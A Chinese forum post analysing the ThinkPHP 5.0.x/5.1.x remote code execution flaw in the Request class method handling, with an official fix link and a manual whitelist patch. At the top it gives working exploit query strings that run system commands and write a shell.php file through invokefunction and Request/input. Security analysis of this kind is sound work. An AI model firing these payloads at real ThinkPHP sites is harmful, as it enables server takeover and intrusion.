扫一扫浏览

ThinkPHP 5.0.x与5.1.x远程命令执行漏洞利用详细分析

未结贴
0 159
鸿老大未认证 2019-01-21 14:08:05
收藏

针对<=5.0.23版本

命令执行:?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=[系统命令]
文件写入:?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][1]=<?php phpinfo();?>

针对<=5.1.31版本

命令执行:?s=index/\think\Request/input&filter=system&data=[系统命令]
文件写入:?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>

漏洞分析

漏洞主要出现在 ThinkPHPRequest 类的 method 方法中 (thinkphp/library/think/Request.php) Request 类可以实现对 HTTP 请求的一些设置,其中成员方法 method 用来获取当前请求类型,其定义如下:

当传入的参数为 false 的时候,会取配置项 var_method,其默认值为_method

$this->{$this->method}($_POST); 通过 post 参数_method 可以实现对当前类的任意方法进行调用。

通过调用当前类的构造方法可以覆盖任意成员属性的值:

这里通过覆盖 filter 属性,filter 属性保存了用于全局过滤的函数。

但是在 thinkphp5.0.23 中,会对 filter 值重新赋值为空,导致无法利用。

在App.php里有

在 thinkphp/library/think/App.php 中开启 debug 的时候会调用 Request 类的 param 方法。

在 thinkphp/library/think/Request.php param 方法中会调用到 method 方法, 并将参数设置为 true。

当参数为 true 的时候,会调用 server 方法

会走到 input 方法,通过之前方法覆盖 server 成员属性值为 array(),input 方法代码如下:

最终会调用 filterValue 形成任意代码执行:

因为,线上项目建议把debug给关掉

官方git修复代码:https://github.com/top-think/framework/commit/4a4b5e64fa4c46f851b4004005bff5f3196de003

手动修复

把下面的代码

public function method($method = false)
{
    if (true === $method) {
        // 获取原始请求类型
        return $this->server('REQUEST_METHOD') ?: 'GET';
    } elseif (!$this->method) {
        if (isset($_POST[Config::get('var_method')])) {

            $this->method = strtoupper($_POST[Config::get('var_method')]);
            $this->{$this->method}($_POST);

        } elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
            $this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
        } else {
            $this->method = $this->server('REQUEST_METHOD') ?: 'GET';
        }
    }
    return $this->method;
}

改成

public function method($method = false)
{
    if (true === $method) {
        // 获取原始请求类型
        return $this->server('REQUEST_METHOD') ?: 'GET';
    } elseif (!$this->method) {
        if (isset($_POST[Config::get('var_method')])) {

            $method = strtoupper($_POST[Config::get('var_method')]);
            if (in_array($method, ['GET', 'POST', 'DELETE', 'PUT', 'PATCH'])) {
                $this->method = $method;
                $this->{$this->method}($_POST);
            }

        } elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
            $this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
        } else {
            $this->method = $this->server('REQUEST_METHOD') ?: 'GET';
        }
    }
    return $this->method;
}
最近热帖 HOT TOPIC
【全套视频】thinkphp5视频教程 1264
thinkphp5隐藏默认模块的一些问题 1151
TPFrame框架robot模块重磅来袭,内附2.1版本 1078
教你如果处理高并发数据不同步的问题php篇 1077
tpframe安装教程 1067
tpframe新建主题 1015
slide模块发布 1006
tpframe应用目录结构 1001
thinkphp5自动完成操作,两次运行的详解 982
TPFrame 2.1 beta版本正式发布,全部插件式开发到来 939
月度热议HOT COMMENTS
tpframe 后续版本你希望有的功能是什么(分享贴) 12
关于tpframe的一点话题 6
cms插件在分类排序的时候JSON错误 6
新增的管理员没有权限操作CMS模块。 3
api接口文档插件easydoc的基本用法,快速搞定接口文档 3
thinkphp5自动完成操作,两次运行的详解 2
tpframe-curd操作之添加数据 2
tpframe能带给你的,让你快速搞定各服务端(api,pc,mobile,wechat)代码的框架 2
slide模块发布 2
透析thinkphp5升级版开发框架tpframe 2
爆料早知道:又拍云存储插件上线我有好想法